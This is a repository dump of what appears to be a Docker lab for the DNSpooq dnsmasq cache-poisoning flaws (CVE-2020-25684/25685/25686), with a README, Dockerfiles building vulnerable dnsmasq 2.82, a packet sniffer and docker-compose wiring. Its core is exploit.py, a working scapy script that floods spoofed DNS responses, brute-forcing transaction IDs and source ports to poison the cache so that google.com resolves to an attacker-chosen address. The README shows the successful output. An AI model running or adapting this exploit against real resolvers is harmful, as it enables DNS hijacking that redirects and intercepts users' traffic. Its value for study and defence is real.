├── .gitignore ├── LICENSE ├── README.md ├── attacker ├── Dockerfile └── exploit.py ├── cache ├── Dockerfile └── sniff.py ├── dnsmasq ├── Dockerfile └── dnsmasq.conf ├── docker-compose.yml └── imgs └── dnspooq.png /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. 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dnsmasq cache poisoning (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685) 3 | 4 | For educational purposes only 5 | 6 | 7 | 8 | ## Requirements 9 | - Docker compose 10 | - Docker 11 | 12 | ## Exploit 13 | 14 | ![dnspooq](imgs/dnspooq.png) 15 | 16 | ### Launch containers 17 | 18 | ``` 19 | $ docker-compose up -d 20 | ``` 21 | 22 | ### Run exploit.py 23 | 24 | ``` 25 | $ docker-compose exec attacker bash 26 | bash-5.0# python exploit.py 27 | Querying non-cached names... 28 | Generating spoofed packets... 29 | Poisoned: b'google.com.' => 169.254.169.254 30 | sent 3032017 responses in 50.309 seconds 31 | ``` 32 | 33 | ### View output from forwarder container 34 | 35 | ``` 36 | $ docker-compose logs -f forwarder 37 | ... 38 | forwarder_1 | dnsmasq[1]: query[A] example.com from 10.10.0.3 39 | forwarder_1 | dnsmasq[1]: forwarded example.com to 10.10.0.4 40 | forwarder_1 | dnsmasq[1]: cached example.com is 41 | forwarder_1 | dnsmasq[1]: cached google.com is 169.254.169.254 42 | ``` 43 | 44 | ### View output from cache container 45 | 46 | ``` 47 | $ docker-compose logs -f cache 48 | Attaching to dnspooq_cache_1 49 | cache_1 | Sniffing... 50 | cache_1 | Source port: 46816, TXID: 16476, Query: b'example.com.' 51 | cache_1 | Source port: 16718, TXID: 54280, Query: b'example.com.' 52 | ... 53 | cache_1 | Source port: 46816, TXID: 56240, Query: b'example.com.' 54 | cache_1 | Source port: 46816, TXID: 24160, Query: b'example.com.' 55 | cache_1 | Source port: 46816, TXID: 18189, Query: b'example.com.' 56 | cache_1 | Source port: 46816, TXID: 40361, Query: b'example.com.' 57 | cache_1 | Source port: 46816, TXID: 13100, Query: b'example.com.' 58 | cache_1 | Source port: 46816, TXID: 47303, Query: b'example.com.' 59 | ``` 60 | 61 | ## Reference 62 | - https://www.jsof-tech.com/disclosures/dnspooq/ 63 | - https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical-WP.pdf 64 | 65 | ## Author 66 | Teppei Fukuda 67 | -------------------------------------------------------------------------------- /attacker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-alpine 2 | RUN apk add bash tcpdump bind-tools && pip install scapy 3 | 4 | WORKDIR /app 5 | CMD ["sleep", "100000"] 6 | -------------------------------------------------------------------------------- /attacker/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import itertools 4 | from scapy.all import * 5 | 6 | 7 | def patch(dns_frame: bytearray, pseudo_hdr: bytes, dns_id: int, dport: int): 8 | # set dport 9 | dns_frame[36] = (dport >> 8) & 0xFF 10 | dns_frame[37] = dport & 0xFF 11 | 12 | # set dns_id 13 | dns_frame[42] = (dns_id >> 8) & 0xFF 14 | dns_frame[43] = dns_id & 0xFF 15 | 16 | # reset checksum 17 | dns_frame[40] = 0x00 18 | dns_frame[41] = 0x00 19 | 20 | # calc new checksum 21 | ck = checksum(pseudo_hdr + dns_frame[34:]) 22 | if ck == 0: 23 | ck = 0xFFFF 24 | cs = struct.pack("!H", ck) 25 | dns_frame[40] = cs[0] 26 | dns_frame[41] = cs[1] 27 | 28 | 29 | ftabsiz = 150 30 | qname = "example.com" 31 | target = "google.com" 32 | poison = "169.254.169.254" 33 | 34 | attacker = "10.10.0.3" 35 | forwarder = "10.10.0.2" 36 | cache = "10.10.0.4" 37 | 38 | txids = range(1, 2**16) 39 | sports = range(1025, 2**16) 40 | candidates = itertools.product(txids, sports) 41 | 42 | # DNS query 43 | qd = DNSQR(qname=qname, qtype="A", qclass='IN') 44 | req = IP(dst=forwarder) / UDP(dport=53) / DNS(id=0, rd=1, qd=qd) 45 | dns_layer = req[DNS] 46 | 47 | # Socket 48 | s2 = conf.L2socket(iface="eth0") 49 | s3 = conf.L3socket(iface="eth0") 50 | 51 | print("Querying non-cached names...") 52 | for i in range(ftabsiz): 53 | dns_layer.id = i 54 | s3.send(req) 55 | 56 | print("Generating spoofed packets...") 57 | res = Ether() / \ 58 | IP(src=cache, dst=forwarder) / \ 59 | UDP(sport=53, dport=0) / \ 60 | DNS(id=0, qr=1, ra=1, qd=qd, 61 | an=DNSRR(rrname=qname, ttl=900, rdata=target, type="CNAME", rclass="IN") / 62 | DNSRR(rrname=target, ttl=900, rdata=poison, type="A", rclass="IN")) 63 | 64 | # Optimization 65 | dns_frame = bytearray(raw(res)) 66 | pseudo_hdr = struct.pack( 67 | "!4s4sHH", 68 | inet_pton(socket.AF_INET, res["IP"].src), 69 | inet_pton(socket.AF_INET, res["IP"].dst), 70 | socket.IPPROTO_UDP, 71 | len(dns_frame[34:]), 72 | ) 73 | 74 | verify = IP(dst=forwarder) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=target, qtype="A", qclass='IN')) 75 | 76 | start_time = time.time() 77 | 78 | n_pkts = 0 79 | for txid, sport in candidates: 80 | # Update TXID and UDP dst port 81 | patch(dns_frame, pseudo_hdr, txid, sport) 82 | s2.send(dns_frame) 83 | 84 | n_pkts += 1 85 | if sport == 65535: 86 | res = sr1(verify, verbose=0, iface="eth0", timeout=0.01) 87 | if res is not None and res.haslayer(DNSRR): 88 | print(f"Poisoned: {res[DNSRR].rrname} => {res[DNSRR].rdata}") 89 | break 90 | 91 | end_time = time.time() 92 | print(f"sent {n_pkts} responses in {end_time - start_time:.3f} seconds") 93 | -------------------------------------------------------------------------------- /cache/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-alpine 2 | RUN apk add bash tcpdump bind-tools && pip install scapy 3 | 4 | WORKDIR /app 5 | CMD ["python", "/app/sniff.py"] 6 | -------------------------------------------------------------------------------- /cache/sniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from scapy.all import * 4 | 5 | 6 | def packet_handler(pkt): 7 | if pkt.haslayer(DNSQR) and pkt.haslayer(UDP): 8 | print(f"Source port: {pkt[UDP].sport}, TXID: {pkt[DNS].id}, Query: {pkt[DNSQR].qname}") 9 | 10 | 11 | print("Sniffing...") 12 | sniff(filter="udp port 53 and ip src 10.10.0.2", prn=packet_handler) 13 | -------------------------------------------------------------------------------- /dnsmasq/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.13 2 | 3 | WORKDIR /build 4 | RUN apk --no-cache add linux-headers nettle-dev alpine-sdk 5 | ADD http://www.thekelleys.org.uk/dnsmasq/dnsmasq-2.82.tar.gz /build 6 | 7 | RUN tar zxvf dnsmasq-2.82.tar.gz 8 | RUN cd dnsmasq-2.82 && \ 9 | sed -ie 's/TIMEOUT 10/TIMEOUT 1800/' src/config.h && \ 10 | # sed -ie 's/FTABSIZ 150/FTABSIZ 2000/' src/config.h && \ 11 | # sed -ie 's/RANDOM_SOCKS 64/RANDOM_SOCKS 500/' src/config.h && \ 12 | make && make install 13 | 14 | VOLUME /etc/dnsmasq 15 | 16 | EXPOSE 53 53/udp 17 | 18 | ENTRYPOINT ["dnsmasq", "-k", "--log-facility=-"] 19 | -------------------------------------------------------------------------------- /dnsmasq/dnsmasq.conf: -------------------------------------------------------------------------------- 1 | log-queries 2 | no-resolv 3 | 4 | server=10.10.0.4 5 | 6 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.9" 2 | services: 3 | forwarder: 4 | restart: always 5 | build: ./dnsmasq 6 | volumes: 7 | - ./dnsmasq/dnsmasq.conf:/etc/dnsmasq.conf 8 | cap_add: 9 | - NET_ADMIN 10 | networks: 11 | vpcbr: 12 | ipv4_address: 10.10.0.2 13 | attacker: 14 | restart: always 15 | build: ./attacker 16 | volumes: 17 | - ./attacker:/app 18 | cap_add: 19 | - NET_ADMIN 20 | networks: 21 | vpcbr: 22 | ipv4_address: 10.10.0.3 23 | cache: 24 | restart: always 25 | build: ./cache 26 | volumes: 27 | - ./cache:/app 28 | cap_add: 29 | - NET_ADMIN 30 | networks: 31 | vpcbr: 32 | ipv4_address: 10.10.0.4 33 | networks: 34 | vpcbr: 35 | driver: bridge 36 | ipam: 37 | config: 38 | - subnet: "10.10.0.0/24" 39 | -------------------------------------------------------------------------------- /imgs/dnspooq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knqyf263/dnspooq/3a37c961653309daaa17e20fca3a7dc4e6ed575d/imgs/dnspooq.png --------------------------------------------------------------------------------